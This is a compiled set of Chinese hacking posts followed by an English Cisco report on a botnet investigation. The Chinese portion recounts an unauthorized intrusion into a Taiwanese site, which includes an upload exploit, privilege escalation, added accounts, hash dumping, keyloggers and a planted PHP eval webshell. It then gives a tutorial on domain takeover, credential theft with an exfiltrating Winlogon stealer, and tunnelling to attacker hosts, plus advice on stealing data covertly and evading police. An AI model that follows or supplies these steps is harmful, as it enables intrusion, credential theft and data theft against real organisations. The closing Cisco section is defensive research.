由于平时比较忙，用了很久的VPN肉鸡飞掉了，近来正好有时间于是打开google搜索upfile.asp开始找肉鸡，来了台湾某XX站，http://xxx.xxx.tw/xx/upfile.asp，为了不必要的麻烦，我隐藏了敏感内容。直接到传asp提示错误，那么直接传了gif以后，查看上传路径发现自己重命名了，如果没有重命名的话在IIS6下百分之90以上可以拿shell了，除去目录末有执行脚本权限。最后抓包分析改上传路径，最后得到一个shell，图1。具体方法翻翻以前杂志或google找吧，一找一大堆。

执行命令后，发现权限还比较大，能够执行一些简单命令，像net user、ipconfig /all等等。。

不过执行添加用户的肯定是不行了，由于支持ASPX我想起来去年暴的本地提权，直接上传Churrasco.exe，我这里命名为c.exe。运行命令为：/c E:websitewwwrootxxxxxupc.exe "net user nohack nohack /add"。必须有双引号，双引号里是执行的命令。最后成功加了用户，。

执行netstat -an发现3389开放，很兴奋的连接上去，却提示“无法连接远程计算机”，不应该呀，明明开着3389呢，google了下.

一般开了3389无法连接的原因有：
1、服务器在内网。用显示的IP来看是用公网IP的，先排除。
2、做了tcp/ip筛选。执行CMD命令：cmd /c regedit -e c:1.reg HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesTcpip，导出注册表里关于TCP/IP筛选的第一处，这种原因是查看导出的内容EnableSecurityFilters这个字段里dword后面的键值是否为00000000，如果为00000001就说明管理员做了tcp/ip筛选，我们只要把1改成0就行了。还有两个地方要导出，可是我导出来都是这三个word后面的键值都为00000000看来也不是这种原因。
3、做了ip安全策略。执行cmd命令： cmd /c net stop policyagent 将IPSEC Services服务停了它。再连3389。还是连接不上。
4、管理员设置的终端登陆权限只有指定的用户可以。这种原因应该是可以连接、无法登录。也排除。
5、防火墙。在webshell执行了下tasklist，发现有几个进程比较可疑。如almon.exe、alsvc.exe、SAVAdminService.exe等。

搜索下几个进程名发现是Sophos Anti-Virus(SAV)英国开发的一个杀毒软件，网上好评还不少。莫非是它搞的鬼，看看能不能直接结束掉，结果试了一下还真能结束掉，不过还是连接不上。原因不明中。因为这个网站禁止中国大陆的IP，这期间我试了反弹CMD，反弹IP是美国的一个肉鸡、端口转发等，最后我直接传了一个反弹的远程木马，在WEBSHELL执行，因为我有管理员的权限执行命令了，不过最后都没有弹出来。连http协议都没弹出来，当真是郁闷。

既然这样还是在webshell里收集一下本机信息吧，执行net view查看有没有其他机器，结果还真有，图5

突然发现自己变笨了，我既然有这台的cmdshell权限，把这台的HASH密码跑出来以后可以连接其他机器呀。何况我这台还是个分站，而主站上面有N个分站，每个IP也都不一样。于是上传pwdump抓了HASH，由于没有彩虾表用LC5跑之。图6。

接着对整个C段扫了一下3389，结果只有3台机器开放，我拥有权限的是16x.xxx.xxx.99，扫出的一台16x.xxx.xxx.69也开放3389了，接着把这个IP拿到查旁注的网站看了下，结果不少都是分站和一些相关的站。试了一下，可以直接连接，用LC5跑出的一个密码登录，结果显示登录成功，却永久的停在这里，不能继续任何操作，真晕，以前还真没遇到过。

接着用了administrator的密码登录，这次成功了进入了桌面，执行了ipconfig /all看下大致环境，发现还有DNS服务器，如图9所示。

一般DNS服务器也就是域服务器，接着我用net view /domain看了下有几个域。看来我所在的是INTRANE***这个域里面，继续用net view看了下本机所在的域约有多少台机器，如图10所示。

用net time /domain探测了下时间服务器，末权限，在用经典的net group "domain admins" /domain同样是末权限，正在想办法如何进行下一步的时候看到桌面有个远端桌面的东东，打开一看里面有管理员保存成着其他机器里的IP，试了一下这个段的其他机器都可以连进去，看来管理员又是用的一卡通，如图11所示。

加用端口扫描器扫的，这个段一个有20多台机器都开3389了，密码都可以进，不过我还末满足，这么多域呢，继续渗透吧，分析了下情况，现在172.16.1.*的IP段基本都已经搞定了，因为台湾的时间差和大陆几乎一样，为了避免和管理员“撞车”，我决定晚上再行动。到了晚上登录连上去的时候发现管理员果真登录了，有图为证，如图12所示。

而且管理员在退出的时候是断开的，并末有注销，接着我开了一个NP写的终端监视脚本，管理员在登录的时候会注销我自己，运气还不错，得到了一台XP系统，接着抓HASH，破密码省略之。

既然管理员用这台管理其他机器，那么我装一个键盘记录工具上去，把akl.exe扔上去了记录一下，一连记录了几天，什么也没记录到，在分析了下，暂时不想用CAIN嗅密码，试着用MS08067溢出，结果显示成功，在telnet的时候失败，郁闷中，图13。

IPC连接试下，失败。又过了两天登录上去一看，发现记录到了putty的密码，原来还有unix系统呀，如图14、15所示。

不但记录到了putty，还包括网页、信箱之类的。看来这个键盘记录安装的挺成功。接着用putty登录，图16。

ls -a列了下目录，netstat -an，查了下端口，发现开了80。我对UNIX的渗透经验不是特别足，先放在一边，直接用echo "<?php @eval($_POST[cmd]);?>">index.php，写进了一个SHELL。

思考一下，溢出、IPC已经试过，嗅探不得已的办法，还有一招末有试，winlogon劫持记录的工具，如图17。

这东东可以记录域管理员在本机登录的时的密码，我把我已经控制的所有机器差不多每台一份都中上了这个东东。过了不到一个星期的功夫上去果然记录到了很多密码，如图18。

记我没想到的是，其他域里面具然还有E文系统的机器，最后用其他域管理帐号登录，

相关文章

• MSSQL 入侵提权之内网渗透案例分析
• 搞内网的一个小技巧
• 域环境下的渗透
• 专业渗透人员在渗透过程中注意事项
• 域中渗透积累
• 内网渗透案例
• 域内网中的信息收集之一内网结构的探测
• 内网渗透中SSh的巧用
• 内网渗透心得
• Infiltrating a Botnet

通过上述的了解，我们可以知道域管理员的权限是相当大的，域管理员可以通过持有域的登陆票据从而实现对域内各个计算机的远程管理，即有权限登陆任何一台机器。那么在渗透的过程中我们就可以通过某种方式记录下管理员登陆的密码，当然了，这只是其中的一种思路。

获得一台内网或域中的肉鸡之后，先来查看一下当前的网络环境，执行：

net view

即可获得一系列主机名，并且可以通过Ping其机器名得到其IP地址，不过注意到列出的机器名只是在网络结构中有联系的，而不一定就在同一内网或域中。
执行

ipconfig /all

来查看是否存在域环境，倘若存在的话则可以继续执行：

net user /domain

来查看域内都有哪些用户，还可以查看指定域内都有哪些计算机：

net view /domain:testdomain      (testdomain 假设为目标的其中一个域)

查看域内的管理员用户则可以执行：

net group "domain admins" /domain

还可以通过命令：

net user domain-admin /domain

查看管理员登陆时间，密码过期时间，是否有登陆脚本，组分配等信息。
一般在正式进攻之前还是多多掌握一些网络的信息为好，可以通过遍历管理员的文件从中获取可能的隐私信息，信息越多越好，其次就是抓取本机的hash值，这里可以用到一个工具：pwdump7.exe
用这个来抓hash很简单，命令行下直接执行即可，将hash导出到文本的命令为：

pwdump7.exe>1.txt

得到hash之后就可以用工具诸如lc5，rainbowcrack，saminside，ophcrack 之类的去破解了，运气好的话能破解出来了就可以利用这个密码尝试登陆内网的其他机器了，当然了，权限到底大不大那只能看运气了。这里还介绍另外一个域渗透中的利器：gsecdump
好处就在于能从域服务器密码存储文件

windowsntdsntds.dit

中导出所有域用户hash的工具，并能从活动进程中导出hash。而且只要有一个本地管理员权限 利用hash注入能开启域管理员进程，方便域渗透。命令行下的东西，看看说明就知道怎么用了。
还可以通过记录域管理员登陆该主机密码来获取信息，这里用到一个小工具：Winlogon
可以截获登陆本机3389的密码，当然了也可以截获域管理员登陆的密码了，至于如何让域管理员登陆此机，有可能需要一段漫长的等待，或许管理员有个固定的周期来登陆例行检查，或者你也可以制造个谎情来欺骗域管理员的登陆，以前就有哥们冒充服务器管理员给域管理员拨通了电话谎称服务器中了病毒无法清除请他来帮忙，域管理员没来得及多想就登陆进来了，结果可想而知，密码成功被记录！当然了，更多的方法还是要靠大家自己去想了，呵呵。
由于Winlogon只能将密码记录在本机，因为不知道管理员什么时候登陆进来，于是我们可以利用网上有人改造过的可以Asp发信的版本，直接将截获的用户名和密码发送至自己的Asp收信地址了。不过好像仅适用于Win2003系统。
使用方法为：运行 Loader.exe 填入自己的收信地址之后就会生成 CreateServer.exe，将Asp传到服务器，然后在肉鸡上运行密码记录器即可，post.asp 会在你的URL地址下生成key.txt。

前期准备告一段落了，接下来可以开始正式的渗透了。
一般情况下，内网中可能存在相当一部分存在弱口令或者有着溢出机会的机子，溢出不失为一个好主意，不过要注意到，虽然服务器已经被我们拿下了并且远程登陆上了，但是不一定所有的工作都必须在登陆界面进行，这样很有可能被管理员发现，或者产生其他未知的问题，而且有的时候要是工具们过于庞大的话也不便直接传上去，那么可以先利用端口转发，VPN之类的隧道技术将入侵环境移植到本地远程渗透上面来，这里可以用到几种利器：
①ncph的hd (Lcx也行，类似)
适用于防火墙阻止外部链接，双向外网的情况下。本机执行命令：

hd -s listen 53 1180

意思是将连接进来的53端口的数据转发到1180端口。
在肉鸡上运行：

hd -s -connect XX.XX.XX.XX 53    (XX.XX.XX.XX 为自己IP)

本机即可收到反弹回来的代理的情况。接下来就可以在SocksCap里面具体设置了，当然先要装上SocksCap，之后的sockets控制台设置如图：

连接之后就可以大胆的撒开手去干了，工具之类的可以直接拖进控制台界面。
②reDuh(Webshell下的跳板)
适用于webshell下用，支持aspx，php，jsp，可以把内网服务器的端口通过 http/https 隧道转发到本机，形成一个连通回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。服务端是个webshell(针对不同服务器有aspx,php,jsp三个版本)，客户端是java写的，本机执行最好装上JDK。
webshell传好之后，命令行下执行：

reDuhClient 目标服务器域名 http 80 /WEBSHELL路径/reDuh.aspx

然后本机用NC连接1010端口：

nc -vv localhost 1010

连接成功会有欢迎提示，之后输入命令

[createTunnel]1234:XX.XX.XX.XX:3389   (XX.XX.XX.XX 为肉鸡IP 或者域名)

即可将远程3389端口转发至本机1234端口，通道建立之后直接mstsc连接本机1234即可。
另外提供reDuh的GUI版本，无需本机安装JDK的支持就可以用了。

一切连接就绪之后，入侵可以开始实施了，常用的方法大概有几种：
溢出：
前面说了内网中出现弱口令和溢出可能性的概率是比较大的，那么就可以使用常见的溢出手法来进行攻击，(过一段时间再搜集一些常用的溢出手法以飨观众)可以使用端口扫描器扫描内网中其他机器的端口，通过弱口令之类的加以利用，这个的成功性就不好说了，要视情况而定，通常情况下都是比较繁琐一点的，因为现在大多数的计算机都是满载着补丁而行的，溢出的成功率已远不如从前那个溢出横行的时代了，不过这也不失为一种方法罢了。
欺骗：
欺骗分为很多种，有ARP欺骗，DNS欺骗，主动与被动会话劫持之类的。前两者可以利用强大的Cain来加以实现，至于Cain的具体用法就不多说了，Google一下，你就知道。而对于会话劫持，涉及到TCP/IP原理部分，而且由于其主要实现环境在linux下，本人也不太懂 =.= ，于是这里只是简要介绍一下了.
TCP使用端到端的连接，在数据传输中需要提供两段序列号：
字段序号(seq)和确认序号(ackseq)。
seq指出了本报文中传送的数据在发送主机所要传送的整个数据流中的顺序号，ackseq指出了发送本报文的主机希望接收的对方主机中下一个八位组的顺序号，两者之间的相互关系为：
要发出的报文中的seq值应等于它所刚收到的报文中的ackseq的值；
要发送报文中ackseq的值应为它所收到报文中seq的值加上该报文中所发送的TCP净荷的长度。
会话劫持者所需要做的就是窥探到正在进行TCP通信的两台主机之间传送的报文，得知该报文的源IP、源TCP端口号、目的IP、目的TCP端号，从而可以得知其中一台主机对将要收到的下一个TCP报文段中seq和ackseq值的要求，于是抢先向被攻击主机发送恶意的带有净荷的TCP报文获取会话的主动权，从而避开了被攻击主机对访问者的身份验证和安全认证。
不过其中要注意的就是如果会话中的主机发现所收到的数据包不是期望值的时候，那么就会用自己期望的序列号发送ACK包[ACK:期望收到对方数据包中第一个字节的序号]，那么对方所收到的也将不是期望值，就会再次以自己期望的序列号返回ACK包，周而复始形成ACK风暴(Strom)，从而造成数据流的堵塞，这样就不好了，所以事先要通过ARP欺骗实施包转发之后再进行会话劫持。
那么会话劫持的主要工具包括：arpspoof、fragrouter 和 hunt。
Arpspoof：ARP欺骗用
Fragrouter：包转发用
Hunt：会话劫持用  [Linux下]
至于详细操作步骤就不细说了，用的时候自己查阅便是了。

总结：内网域渗透很好很强大！如此高深的渗透技巧远不是本文这寥寥几句所能道得清的，这里这是略微总结一下内网渗透的基本技巧，更多的知识还要靠自己在实战中去挖掘，去体会，其实内网渗透是一个灰常艰苦的活儿，也只有实践才能出真知，坚持才能得胜利！

相关文章

• 渗透某大型内网入侵过程
• 专业渗透人员在渗透过程中注意事项
• Infiltrating a Botnet
• web和数据库分离的渗透思路
• 渗透,目的不单纯
• 当渗透中实时检测管理员的bat

2此内网数据存储服务器属于几级内网？这个问题你未具体描述，因为往往会遇到1级、2级、3级甚至更深的类城域网结构。
这里假设你遇到的只是最初级的1级内网，既：内网可互通

3你目前行为的目的是什么？你描述说你需要将数据拷贝出来，但你又回帖说搞定了他们几台服务器，那么我的问题就是，根据你最后一次的回帖，不太明白你目前 的状况。A你无聊？B你还有其他目的？C你还没有搞定那台或数台数据储存服务器？
你不回答清楚，无法帮你参考啊。各种情况下，有不同的解决方式。
这里就仅认为你已经搞定数据储存服务器、并且只是基于成就感继续KO他们的服务器吧。

综合上述条件，判断楼主遇到的只是较初级内网,至于多少万多NB的防火墙不在考虑范围内，那个东西就是纸老虎。
如果你仅仅只是想拷贝数据，并且是数据库方式储存的话，我的建议就是将数据库按表段来导出，其实你需要的数据可能就仅仅储存在少数几个表内，如果是数 据过于庞大，在导出的过程中会占用大量时间，你需要做的就是：

将数据库服务器登陆日志查看一边，按照内网所属国的当地正常上班时间（我不知道是哪个国家）进行判断，确定在他们的睡眠时间内（既最安全时间当地时间凌晨 3点-早上6点）无人登陆，建议选择在周末凌晨进行，这个时间之所以认为安全，是因为即便是该公司有夜班人员值班，在无聊的深夜，不是打瞌睡、也是在做自 己的事情（大部分夜班人员无人监督）
假设你所导出的数据表段过于庞大，那么就按字段导出（需注意的是在导出前关闭数据库日志服务，由于我不知道你搞的是什么类型的数据库，是属于WIN平台 还是类Unix平台，而关闭日志的方式在各平台也都不同，五花八门的..这个就不说了。）

然后将每个字段导出的数据进行压缩，用最快的速度在内网传到一个你KO掉、并且经过判断登陆日志后觉得最少被登陆的一台服务器上，由于是内网所以下载速 度非常快，不用担心下不完。这么做的原因是尽量减少在受到关注的数据库服务器上停留过久。因为你上传或下载到外网耗时太久，所以需要先将数据转移到其他不 受关注的内网机器上。

根据个人经验判断，如果真有150G的数据，在3个小时内肯定无法完工，那么楼主就需要N个"午夜3小时"来重复上述操作了。

接着需要做的就是，在每次午夜3小时结束前，留下合理的上传时间，将每天内网下载的数据上传到你外网的服务器，推荐找个和此内网同地区的IDC租个当地 的服务器或直接黑一个，用作数据中转，这样速度会最快。至于上传，我不知道你是怎么做的，我都是用自己的FTP程序，隐藏在系统内，设定好上传参数（我的 隐藏FTP程序多功能的哦），比如我可以设置：本次上传几个小时、上传什么格式的文件、优先上传什么格式、上传限速多少、上传哪个或多个磁盘目录路径、是 否断点续传、定时检测服务器是否有登陆，如有管理员登陆采取哪种措施：1删除所有等待上传的文件并退出程序、2直接中断上传、退出程序。

可能你现在已经完工了，我权当参与讨论。方法很普通，也不高雅，还很累：）但自认为是较安全的方式了。至少我常用。

不过话说回来啊楼主，怎么导出数据是一回事，但更重要的是你要弄明白你的“目的”，内网渗透最忌讳的就是拖延时间，讲究的是在不惊扰对方的前提下速战速 决！类似ARP的傻事，能不干，就千万别干。

你后来的回帖说你又弄了对方几台机器，这里你需要考虑几个问题：
1你为什么要搞你后来说的这些机器？
A管理员中马了，你随意登陆进去看看？
B你通过其他漏洞搞的？
C密码问题？

无论是哪一种情况，在渗透过程中绝对不要随便去“黑”或者“登陆查看”你已经获取到权限的机器。你必须弄清楚你的目的！并且搞清楚应该不应该查看或 “黑”这些服务器。无关的机器不要随便碰。
当然大部分情况可能是随便撞或登陆看看是否和目标有关联，在渗透过程中，比如遇到障碍，没有明确思路的时候，会随便黑对方服务器来撞运气，比如黑（查 看）一台是一台，搞到权限就去看，看有没关联，这是渗透初级菜鸟们才会干的及其傻的事情，此乃大忌！

要明白你所做的操作越多，哪怕多开了一个网页、多看了一个文件，多扫描了一个服务器都可能给对方管理员留下线索！不要做任何可能引起管理员察觉的无谓操 作。

而内网渗透在取得24小时内网机器后，最佳的进入内网时间就是当地时间的凌晨，当然需要对方内网配合你的一些操作的情况下例外。
作为专业渗透人员！在渗透过程中一定要谨记：

1使用2个国家以上的服务器作为双层跳转(严禁单层跳转），建议自己租几个国家的服务器，这样稳定、安全。很多同学跳板都用了，但还是被GA叔叔game over了。。栽就栽在“肉鸡”上。
别省那几个钱，租吧！而且不要租国内代理商提供的国外服务器，直接找国外IDC租！付当地货币！我就是~（如内网端口转发速度太慢，千万不能在本地直接连 接或转发，请自备3G上网卡或wifi前往离住所直径10KM以上的地方进行直接连接,本人一般是把车开到某些大型联通营业厅附近然后插入车载电源逆变 器，因为我是联通3G，而联通速度最快、信号最强的地方就是营业厅附近，他们要做展示用嘛）

2在与对方公司人员或“机器”接触过程中严禁使用与自己有关联的ID、网站、软件等等，要注意擦除你操作的痕迹，哪怕只是正常访问对方公司网站，也要用跳 转！

要记住：不要轻易访问对方的内网，在你尝试渗透他们之前，先做好详细的渗透计划，根据了解到的信息，将所有可能遇到的问题因素做个初步判断。再根据实际遇 到的情况随机应变。
很多搞渗透的同学很容易犯的一个严重错误就是随便玩什么“柳暗花明又一村”，搞一台服务器搞不下来，想尝试看看周边的服务器或应用是否有相关联的。
很多时候根本没有，自己做了些无谓的操作。而这很容易导致问题的出现。一定不要漫无目的的乱碰对方的任何东西！人也好、机器也好都一样。

不做好详细渗透计划，就盲目开工的同学，即便你成功KO了对方，取得了你想要的东西。但这又有什么用？只有没经验的菜鸟才会以成功作为一次渗透的总 结。好的渗透人员在了解对方的情况后，做出渗透计划后就已经等同于KO掉了目标，而不是等结果出来，才知道。我们需要的是完美的过程！而不仅仅是一个结 果。

一定要弄清楚你的目的、要有清晰的思路，如果没有，就等到你想出来再搞！
对于一个搞渗透的人来说，当确定任务目标后，我们需要考虑的不是能不能搞定！而是需要多长时间搞定！在我们的字典里不应该有失败这个词。这就是我的渗透准 则。

相关文章

• 渗透某大型内网入侵过程
• 域环境下的渗透
• Infiltrating a Botnet
• web和数据库分离的渗透思路
• 渗透,目的不单纯
• 当渗透中实时检测管理员的bat
• 渗透测试中的攻与防

Overview

Many teams at Cisco are dedicated to security research. One team recently investigated botnets with the goal of improving existing detection methods and discovering the techniques botmasters use to compromise machines. The team’s efforts were rewarded through their protection of an important customer’s network. Their discovery efforts also yielded extraordinary insights into the mind and motives of a botmaster. This paper discusses exploit protection and reports on the interviews the team held with the botmaster they encountered.

Defending a Customer from a Botmaster

Typically, administrators patch vulnerable machines or deploy some sort of intrusion prevention system (IPS) to protect against exploits.  Both approaches are effective the majority of the time, but neither approach protects systems against the uneducated user.  These approaches may not even protect people who take their machines home if the IPS is network-based. The user who will click and run anything is the greatest threat to any network.

Internet relay chat (IRC) traffic on non-standard ports is a good indicator of malicious activity. Simple botnets often use IRC as a command-and-control framework because the source code is readily available. Joining a chat network is not botnet activity, but it is usually not work-appropriate activity. Cisco offers a service that monitors and manages network-based IPS. By monitoring certain alerts from this data feed, suspicious IRC traffic was easily found.

An Unsuspecting Customer

A Cisco customer was unaware of dozens of compromised machines. A tremendous number of alerts including IRC activity, far larger than anything that could be benign, were occurring on the customer’s network. The traffic from several machines stood out from other systems on the network. There are occasionally oddities in a network, but when a small subset of machines is observed sharing the same odd behavior, researchers should take note.

Figure 1 shows a data feed from a Cisco IPS device.

Figure 1. Monitoring a Cisco IPS Data Feed

Looking at the signature alerts, it was clear that the affected machines had been compromised. The Cisco IPS detected the attack, but unfortunately the customer was not running it inline or connected to the router, so the hits were not blocked. There were several different botnets involved that looked strangely similar. When inspecting the history of the machines, in addition to the IRC traffic, exploitation and reconnaissance attempts were discovered.

None of the traffic was encrypted, indicating that the attackers were either unsophisticated or unconcerned about hiding their tracks. The botmaster occasionally took basic precautions, such as using server and channel passwords, but failed to encrypt the data. Challenge-response exchanges were hidden in normal IRC traffic.

For example, upon connecting to a server, the bot would immediately have to ping “MrB|g” with the key “s3cr3+sq|_|rr3l” or it would be denied access to the server. This challenge-response method was also used by the clients in response to certain RFC 2812 commands, such as a client-to-client protocol version request. Additionally, the bots would respond to non-RFC 2812 commands. It was noted that different botnets seemed to share many of the same commands. This led to the belief that most, if not all, of these clients were based on a common source code.  Figure 2 shows the botnet.

Figure 2. Botnet

At this point in the investigation, the team’s largest concern was for the customer. There was an urgent need to determine what the botnet was doing and what information had been compromised. By using the Cisco IPS, a wide range of data about the command-and-control networks was captured. For example, the network was separated into several discrete command-and-control nodes with different IP addresses. Over the course of a few weeks, commands were captured and the network was monitored to see what information the botmaster was targeting. An open source IRC client was set up to emulate an infected machine and join the network. This allowed continuous monitoring without having to leave any compromised machines active.

The botmaster targeted employees instead of the company itself.  This action likely helped the attacker to remain undetected. The botmaster’s mode of attack involved stealing employees’ passwords that were stored in Internet Explorer and then adding a redirect in the hosts file that enabled a man-in-the-middle attack against a bank in Latin America.

Stopping the Bot

Once the extent of the damage was determined, the bot needed to be stopped. The team was able to demonstrate the modification of the hosts file, making the compromise irrefutable. Some of the machines appeared to have been compromised dozens of times. A worm or trojan would compromise the machine and update the hosts file, only to have it corrected by the virus scanner (or other malware).

The correction would prevent the man-in-the-middle attack but the botnet would load normally. This action occurred each time the system booted. Some machines had dozens of entries that showed that the hosts file was corrected repeatedly. It became clear that it was not feasible to clean every infected machine, because in the time it took to alert the company to the problem, the personal information of hundreds of employees could be compromised.

The customer did not have the capability of running Cisco IPS inline, so the firewall was examined. When monitoring the botnet, it became very clear that the IRC servers would update fairly frequently. The IRC servers would move ports, servers, and change passwords, sometimes several times a day. This frequent updating made it extremely hard to block the command-and-control servers.

The team found a visible flaw in the attack:  the botmaster had overlooked the update servers. The botmaster had several domain names for the update server that could be broadcast by means of IRC to update the bots before a server change-over. Close inspection revealed that the IP address of the update server always belonged to one of a small group of machines. Blocks were put in place immediately.

When the botmaster issued the next update, only a few of the systems (and none from the customer) followed. The botmaster repeatedly issued the update command to no avail. When the machines were locked down to one IRC server, a single block was sufficient to disable the network.

Had the botnet-client been more robust, it would have been necessary to block backup networks. In this case, the customer was lucky, and the single block was sufficient.  The team continued monitoring the network to ensure the systems were unable to reconnect to the network, giving the customer the needed time to reimage all of the compromised machines. It was not a perfect solution, but it stopped the data leakage and prevented the systems from compromising other machines on the network.

Conversations with a Botmaster

With the customer protected, only curiosity remained. The team wondered what type of attacker would go to such complicated lengths but leave such a simple hole in their plan of attack. Did the botmaster have so many networks that it didn’t matter if one was blocked? Was the botmaster a script kiddie?  For answers, one of the researchers decided to go back to a monitoring box and ask. At this stage the customer was protected and the botmaster was likely away from the keyboard.  The researcher sent out an intrepid “hey” and received a response from the botmaster: “?”  Thus began what turned into a months-long conversation.

The botmaster, upon realizing that one of his bots was suddenly sentient, appeared to assume that the researcher was a fellow botmaster and that their respective networks had “collided.”  The researcher worked to strengthen the botmaster’s assumption. Pretending to be a fellow botmaster, the researcher asked about the server software. Figure 3 shows the initial conversation with the botmaster.

Figure 3. Starting a Conversation

After some inconsequential chat, the researcher asked if the botmaster was using his network for anything interesting. The botmaster readily revealed his master plan: to compromise a few thousand machines and then sell them off in big batches. With careful questions, the researcher learned from the botmaster that the market rate was about US$0.10-$0.25 per machine and that the botmaster had recently sold 10,000 machines for US$800. In attempts to bond with the botmaster, the researcher discussed popular exploits, sharing stories of “pwning,” or gaining control of, dozens of machines at a time.

With a solid background in IPS, the researcher was aware of current trends in vulnerability research but asked in what area the botmaster focused his efforts. The expected answer was a Microsoft vulnerability that worms such as Conficker exploit. The botmaster’s answer, however, was that he mostly focused on instant messaging software. No vulnerability was required to grow his network. Instead, he could spam 10,000 people with a simple “check out this cool software” message and rely on at least a one percent response from the recipients. As an approach, it made sense, because the same process continues to work for spammers as it has worked for years, despite efforts at user education.

After revealing his methodology, the botmaster appeared to suddenly realize that perhaps he had shared too much information with an unknown person. He quizzed the researcher on “old school” (that is, previously well-known) hackers. The researcher responded that he did not know any of the old-school attackers. (When the researcher later did online searches on the old-school attackers, most of them had been apprehended by the Federal Bureau of Investigations.) By saying he did not know any of the attackers that the botmaster named, the researcher established credibility with the botmaster that he was not a law enforcement agent. After this exchange, the botmaster gave the researcher his contact information through Microsoft Network (MSN) so the two could communicate more easily. Figure 4 shows a trust-building session between the researcher and the botmaster.

Figure 4. Building Trust

You Can Find Everything on the Internet

As any good hacker would, the researcher immediately keyed the botmaster’s screen name into Google and found a few posts. The posts led the researcher to additional handles, or usernames, which then led to hundreds of posts by the same author. Under a different handle, the botmaster was the author of an enormous amount of IRC-based botnet software. He was also very well known in the black hat community, where attackers and hackers share information.

Intrigued, the researcher decided to accept the botmaster’s invitation to stay in touch. The researcher created an MSN account and, over the course of several days, multiple MSN conversations were held between the researcher and the botmaster. Topics focused primarily on secrets of the botnet trade and discussions of various software packages. The botmaster confirmed the researcher’s theory that many of the IRC-based botnets stemmed from a single source; however, he declined to provide a copy of the modified version he had adapted. Instead, the botmaster directed the researcher to an online forum that was contained a profusion of information regarding botnet activity.

Figures 5 and 6 shows the conversations of the botmaster directing the researcher to the forum.

Figure 5. Directions to a Forum—Part 1

Figure 6. Directions to a Forum—Part 2

One-Stop Botnet Shopping

The forum hosted discussions on all the information that anyone would need to form a botnet, including several detailed how-to guides.  The researcher was able to acquire source code for the bot and the server from the forum. The server code was based upon a modified Unreal IRC server. The client code, which would have no legitimate use, was a valuable source for IPS signatures. While it would be possible that all of the command functionality could be rewritten, if botmasters were capable of doing that, they likely wouldn’t use the publicly available source code.

Entire sections of the forum were dedicated to the buying and selling of botnet paraphernalia, such as RapidShare file hosting accounts, packers, password lists, bot software, and password stealers. The bot software is advertised much like any other software, listing various features such as “four methods of command and control,” “undetected by virus scanners,” “anti-x (sandbox, debugger, etc.),” “process monitoring,” and so forth. Several bot software authors have followed the Microsoft practice of offering multiple versions of software at tiered pricing levels.

The “For Sale” sections were governed by a very specific set of rules, including a rule that stated that botnet software could not be sold in the forum, likely due to the laws of the country in which the server hosting the forum resides.

The software for creating botnets, including directions and tutorials, was widely available for download or purchase. It was forbidden to sell the software on the forum if the software was publicly available, a rule that seemed to be an attempt to deter botmasters from taking advantage of one another. For concerned bot shoppers, all software was verified by a trusted moderator so that the buyer could trust that they would be receiving the software for which they were paying.

Pretense to Avoid Pwning

The customer who had originally been infected had been clean for months when the researcher decided to seek out the botmaster again to learn more about the botnet community. The researcher was concerned about not revealing any specifics about the customer or himself but needed to establish a level of trust with the botmaster. With these considerations in mind, the researcher decided it was more likely that the botmaster would speak with a journalist than an IPS specialist pretending to be a fellow botmaster.

After re-establishing contact with the botmaster, the researcher promptly “confessed” to being a reporter researching an article on botnets. The researcher explained that he had contacted the botmaster again because he was seeking the most accurate data possible for his article. The researcher expected his virtual disguise would pass the botmaster’s scrutiny because of the widespread disdain by certain groups in the security community of the quality of security reporting.

Within the security community, there is a perception that only a few reporters actually understand the security topics that they cover. Some part of nearly every story is wrong or greatly exaggerated. For example, a recent article in PC World [1] stated that the widely publicized attack on the creator of Metasploit was performed by an unknown attacker who had weaponized Dan Kaminsky’s discovery of a fundamental flaw in DNS [2]. The article contained so many errors that, in addition to a printed retraction, additional reporting was required to correct the published description of the issue [3]. H D Moore, Metasploit’s creator, claimed that the statements attributed to him were completely fabricated [4].

The botmaster had strong opinions on security reporting. He mentioned conflickr in particular as example of faulty reporting that resulted in exaggerated numbers of systems affected. One antivirus software company [5] had based its publicly reported numbers of affected machine on a variable in the URI sent from the compromised machines. The variable, known as Q, reported the number of machines that had been successfully attacked to the botnet’s command and control system. This method of calculating the number of compromised machines was easily manipulated by Dynamic Host Configuration Protocol (DHCP) and other means. A user on the company’s public blog even posted a comment pointing out the possibility of easy manipulation, but the company dismissed the comment and did not correct its reported numbers.

The actual count of affected systems would not be realized until weeks later in a subsequent report by a separate research company [6] that explicitly pointed out that “Q reports the number of machines that each victim claims to have infected. Q may be artificially inflated by reinfections and DHCP effects” (The Q variable is the value in the URI that was thought to report the number of compromised machines.) According to the latest report [7], the numbers reported using the initial method was was off by a multiple of 50.

Figure 7 shows a continuation of the conversation between the researcher and the botmaster.

Figure 7. A Little Anonymous Fame

The researcher assured the botmaster that even if he chose not to be interviewed or answer questions, he could have a little “anonymous fame.” Surprisingly, the botmaster agreed to participate. Recognizing the unusual opportunity, the researcher suggested a TOR audio conference [8] using a method known as onion routing that would be untraceable. The botmaster reported he did not have a microphone available, but more likely, he feared the researcher would try to trace him through the tunneling connections. His reluctance to audio conference may also have been based on his lack of knowledge of the onion routing protocol. The researcher’s first question was why it would be preferable to sell bots instead of turning them into spam or phishing networks. The botmaster’s answer was that selling bots was a rarity; normally, bots would be used as a network for phishing attacks. When the researcher asked how much money could actually be made from phishing activities, the botmaster was evasive about his most lucrative bot activities, but said “a guy he knew” was able to earn US$5000 to US$10,000 a week solely through phishing activities.

Figures 8 and 9 show conversations about selling bots.

Figure 8. Phish or Sell

Figure 9. Lucrative or Unprofitable?

The researcher offered the botmaster a lighter question, asking what was the strangest thing the botmaster had found on a compromised machine.  The botmaster replied he had found inappropriate pictures of a minor and had promptly reported the issue to the authorities.

The researcher asked the botnet owner about his proudest moment as a botmaster. The answer involved the Windows Distributed Component Object Model (DCOM) attack (MS03-026, IAM 11104), which exploited a bug in the DCOM Remote Procedure Call (RPC) interface.  The vulnerability existed in all modern versions of Windows at the time and was remarkably easy to exploit. The botmaster said that when he ran the attack, his server was flooded with joins, with each join representing the compromised machine of an unsuspecting user.

The researcher and the botmaster continued to chat, discussing protective measures. New security features in Windows Vista, such as kernel patch protection, prevented his bot from running in Ring0 [9]. Ring0 is a term from system management mode. Briefly, this protection system involves three rings. Ring0 is the most privileged ring, where the kernel resides, and Ring3 is the least privileged ring, where a user’s programs execute. Given this limitation, the botmaster’s bot would not function on the Vista OS.

Figure 10 shows the conversation about Ring0

Figure 10. Protective Measures

